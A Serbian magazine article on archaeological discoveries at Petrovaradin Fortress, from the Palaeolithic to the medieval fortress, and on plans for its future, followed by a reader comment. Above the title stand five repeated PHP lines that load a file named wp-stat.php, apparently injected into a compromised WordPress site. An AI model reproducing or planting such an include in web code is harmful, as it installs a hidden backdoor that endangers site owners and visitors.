@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); PETROVARADINSKA TVRĐAVA: Od kamenog doba do Exita – Nedim Sejdinović

PETROVARADINSKA TVRĐAVA: Od kamenog doba do Exita

Posetioci ovogodišnjeg muzičkog festivala Exit svakako su primetili da im, za razliku od prethodna dva leta, pojedini segmenti Petrovaradinske tvrđave nisu dostupni. Mesta gde su ranije ispijana piva i iščekivana svanuća uz world music i pogled na mamurni Novi Sad, sada su bila raskopana i zabrađena žičanom ogradom. Oni koje je to zanimalo, mogli su da saznaju da je u toku rekonstrukcija zapuštene komunalne infrastrukture koju prate, odnosno kojoj prethode arheološka istraživanja. Oni još radoznaliji mogli su da čuju i da je na tim mestima došlo do zanimljivih arheoloških otkrića koji bacaju drugačije svetlo na istoriju ne samo Gibraltara na Dunavu – kako Novosađani od milja nazivaju Tvrđavu – već i čitave Panonske nizije.

Fortifikacija današnje tvrđave, koja je sagrađena osamdesetih godina XVIII veka (gradnja je trajala skoro 90 godina), u potpunosti je zadovoljavala tehničke potrebe, sve do polovine prošloga stoleća, kada Tvrđava iz vojne prelazi pod civilnu upravu. Tada dobija nove stanare i, u skladu sa novim potrebama, na tvrđavu se “dovode” ogromne količine vode; postojeća kanalizaciona mreža trpi ogroman pritisak. Sanacije koje su vršene uglavnom su bile privremenog karaktera, a rezultati neadekvatnog korišćenja su više nego zabrinjavajući: zabeleženo je blago tonjenje cele tvrđave, neki objekti su se nakrivili, a bedemi počeli da pucaju. Pre šest-sedam godina gradska vlada Novog Sada donela je odluku da se krene u generalnu, kompletnu infrastrukturnu rekonstukciju. Potom je pravljen projekat, a početkom avgusta prošle godine, kada su sredstva “s mukom skupljena” i tle snimljeno i ispitano, krenulo se i u realizaciju. Projektanti su se odlučili za jedan instalacioni tunel, gde će biti smeštene svi vodovi, što će olakšati kasnije popravke. Po zakonu, rekonstrukciju, u ovom slučaju izgradnju instalacionog tunela, prate timovi arheologa koji nadgledaju radove i, u slučaju da pronađu nešto zanimljivo, obustavljaju ih da bi nastavili sa svojim istraživanjem.

Po ranijim saznanjima, na Petrovaradinskoj tvrđavi prvo ljudsko naselje nalazilo se u periodu mlađeg kamenog doba, dakle negde oko 4500. godine pre nove ere. Upravo zbog kompleksnog spleta instalacija i nedostatka sredstava, ranije nisu vršena temeljna arheološka istraživanja, pa je projekat instalacionog tunela bio šansa da se se na tim koridorima izvrše i naučna ispitivanja, te da se eventualni pronalasci dokumentuju, srede i arhiviraju. “Osim što se sprečavalo dalje propadanje tvrđave, mi smo dobili izvanrednu priliku da prošetamo po njenoj prošlosti “, kaže za “Vreme” arheolog Radovan Bunardžić, rukovodilac istraživačkih radova, i dodaje: “Do sada se o njenoj istoriji, bez obzira na brojne legende zaogrnute u maštu, veoma malo znalo. Građanska istoriografija je isplela jednu finu retoriku koja je, međutim, daleko od stvarnosti.”

Već sam početak radova doveo je do otkrića koje je izmenilo istoriju ovog prostora. Nekoliko metara od ulaza u Muzej grada Novog Sada, pronađeni su ostaci mlađeg paleolitskog staništa, iz perioda od 19.000 do 15.000 godina p.n.e. “Bukvalno smo upali u jedno fantastično višeslojno naselje. Čovek u kontinuitetu nastanjuje prostor Petrovaradinske stene, a današnje tvrđave, od praistorije do danas, pa čak i u paleolitu kada su se ljudska staništa uglavnom nalazila u pećinama. Retko se kada paleolitski čovek pojavljuje na otvorenom prostoru”, kaže Bunardžić.

Već tada je bilo jasno da će arheološka iskopavanja potrajati mnogo duže nego što je planirano. Tokom prošlogodišnje kampanje, pronađeni su i ostaci vinčanske kulture, kao i ostaci utvrđenog rimskog naselja Kuzum (Cusum), koje je napravljeno u I veku naše ere, a koji je, prema istorijskim podacima, postojao do IV veka. Smatralo se da je Kuzum prvo utvrđeno naselje na prostoru sadašnje Tvrđave. Osim toga, nađeni su i ostaci srednjovekovne kulture.

Tokom ovogodišnje kampanje, arheolozi su došli do još jednog značajnog otkrića. Tretirajući ostatke naselja iz mlađeg bronzanog doba (oko 3.000 godina pre Hrista), pronašli su i bedeme iz tog perioda, koji svedoče da je na Petrovaradinskoj steni još za vreme tzv. vučedolske kulture postojala neka vrsta utvrđenog naselja. “Ostaci grnčarija i posuđa ukazivali su nam da se radi o eneolitskoj naseobinskoj celini. Otkrivanjem bedema, međutim, utvrdili smo da se radi o utvrđenom naselju. Dakle, tvrđava je u nekom obliku postojala već u to vreme. Bedemi su pojačavani koljem i palisadama. Još ne znamo sve podatke, ali definitivno je da se radi o velikom otkriću”, kaže Bunardžić.

Posle eneolita, na Tvrđavi su se smenjivale različite kulture. Ostaci rimskog Kuzuma bili su prekriveni zidovima tvrđave, ali je u okolini odranije sačuvano dovoljno istorijskih spomenika iz tog vremena. Godina 1235. je bila prekretnica u istoriji Petrovaradina. Te godine je ugarski kralj Bela IV naselio monahe-cistercite iz Francuske, a oni su na ostacima Kuzuma stvorili opatiju Belakut. Tokom najezde Tatara, kada su izgrađeni mnogi ugarski utvrđeni gradovi, nikla je i “nova” Petrovaradinska, tzv. srednjovekovna tvrđava, čiji su ostaci takođe pronađeni tokom ovogodišnjih radova. Pronađeni su i ostaci naselja i crkve. Deo srednjovekove tvrđave, odnosno njeni bedemi, nalazili su se odmah iza današnjeg Muzeja grada.

Srednjovekovna tvrđava dobija na značaju povećanjem opasnosti od Turaka Osmanilja, koji je međutim zauzimaju 27. jula 1526. godine. Polovinom XVI veka Varadin dobija status kasabe. Tokom Velikog Bečkog rata (1683-1699) Petrovaradin dva puta prelazi iz ruke u ruku, a Austrijanci ga prvi put osvajaju 1687, a definitivno 1691. godine. Istorija kazuje da su pre osvajanja Austrijanci bili itekako zainteresovani za izgled srednjovekovne tvrđave, pa šalju svoje obaveštajce koji prave njen crtež. Taj crtež je i danas dostupan, a novi nalazi pokazuju da je bio verodostojan. “Jedina saznanja o srednjovekovnoj tvrđavi koje smo do sada imali bio je crtež iz tog vremena, koji međutim nije uziman ozbiljno. Iskopavanjem smo utvrdili da je bio verodostojan, te ispada da ga je radio stručnjak toga doba. Delove srednjovekovne tvrđave smo uspeli da rekonstruišemo i oni će, u zavisnosti od rezultata našeg dogovora sa predstavnicima gradske vlasti, biti dostupni posetiocima i turistima”, kaže Bunardžić. Posle osvajanja, Austrijanci su srednjovekovnu tvrđavu posuli zemljom i izravnali, a potom počinju gradnju današnje tvrđave.

“Sve u svemu, ovde se stalno živi. Interesovanje za ovaj prostor lako je objasniti ako se zna da je Dunav ovde najuži u svom srednjem toku i da je ovo strateški veoma važno mesto. Ko ga kontroliše, on gazduje celim područjem”, kaže Bunardžić i dodaje da je veoma malo mesta u Evropi gde na jednom mestu, u kontinuitetu, imate priliku da sagledate celu ljudsku prošlost.

Tim arheologa i njihovih pomoćnika je tokom istraživanja uspeo da restaurira stotine posuda koje potiču iz različitih vremenskih razdoblja i kultura. Tehnički inventar u koji se unose predmeti vredni pažnje za sada ima preko 20.000 odrednica. “To svedoči da svakodnevno dobijamo veliku količinu informacija koje tek treba obraditi. Mi sada pripremamo teren za ona potonja, problemska istraživanja koja će dati odgovor na minucioznija arheološka pitanja”, kaže Bunardžić.

Iza svega ovoga krije se nedoumica šta činiti dalje sa vrednim arheološkim otkrićima. Bunardžić kaže da će predstavnici gradske vlasti morati da odluče na kakav će način i u kom obliku biti prezentovani rezultati istraživanja. Da li će ostaci eneolitskih bedema, rimskog Kuzuma i srednjovekovne tvrđave biti rekonstruisani i, kao takvi, postati turistička atrakcija ili će se sve samo dokumentovati, a potom zatrpati? “Mi svakako pripremamo stalnu postavku u Muzeju grada pod nazivom Petrovaradinska tvrđava u prošlosti, ali bi bilo dobro ako bismo i neke delove starih utvrđenja učinili dostupnim za posetioce. Da bi ovo neprocenjivo istorijsko blago ostalo sačuvano, neophodna je izmena projektne trase komunalnih radova, jer sadašnji koridor prelazi direktno preko bedema”, kaže Bunardžić.

Direktor Muzeja grada Novog Sada Ilija Komnenović smatra da bi Petrovaradinsku tvrđavu valjalo pretvoriti u arheološki park koji bi mogao doprineti buđenju turizma u Novom Sadu. Sličnog mišljenja je i akademik Bogdan Brukner, koji smatra da bi Tvrđava uz malo truda mogla postati prava turističko-arheološka atrakcija. Bunardžić dodaje da bi uređenje Tvrđave morala pratiti i rekonstrukcija njenog podgrađa – popularnog Gradića, koji predstavlja sjajnu baroknu celinu iz 18. veka, a koji je u decenijama posle II svetskog rata devastiran, i fizički i sociološki i kulturološki. Prvi zadatak, po njemu, jeste izmeštanje saobraćaja iz ovog dela grada.

Za oživljavanje i uređenje baroknog naselja zalaže se i udruženje građana Petrovaradina “Suburbium”, koje je osnovano u maju prošle godine. Ono je pre nekoliko dana izašlo u javnost sa idejom da se celokupni kompleks Tvrđave, kojem pripada i Gradić, pretvori u pešačku zonu, pod kojom podrazumevaju i izgradnju hotela, muzeja, galerija, klubova i turističkih objekata. “Uz elektro-voziće, fijakere, žičare do Fruške gore i karnevale, život u podgrađu bi trajao 24 sata dnevno”, kaže Siniša Jokić, član “Suburbiuma” i kustos i istoričar u Muzeju grada. “Tako bi se osetio duh evropske prošlosti, a Novi Sad bi se predstavio kao pravi srednjoevropski grad”, dodaje on. Iz današnje perspektive, verovatnoća za ostvarenje ove ideje ravna je mogućnosti da Srbija do 2007. godine postane članica Evropske unije ili da Beograd dobije organizaciju olimpijskih igara. Ipak, ko zna… Za početak bi trebalo bar nešto uraditi na izgledu podgrađa koji svojim avetinjskim izgledom ponekad uplaši i vlastite meštane, a kamoli eventualne, razmažene zapadnoevropske turiste.

Iako prema našim saznanjima nisu bili preterano upućeni niti u istorijat Petrovaradinske tvrđave niti u arheološke podvige na njoj, mnogi Exitovi strani izvođači nisu krili oduševljenje njenim ambijentom. Ovogodišnje “prvo ime” Exita, Tricky, izrazio je želju da se na Tvrđavi nastani i napravi muzički studio. “Odmah bih to učinio kada bih mogao”, rekao je on. Pa ko zna, možda će za par hiljada godina neki futuristički arheolozi biti oduševljeni kada na Petrovaradinskoj steni pronađu ostatke jednog muzičkog festivala.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

One thought on “PETROVARADINSKA TVRĐAVA: Od kamenog doba do Exita

  • July 30, 2006 at 2:03 pm
    Permalink

    Odlican clanak. Cula sam da postoji grupa vodica za turiste koji zele da vide katakombe. Trebalo bi da je strasno zanimljivo i kosta oko 50 evra.

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.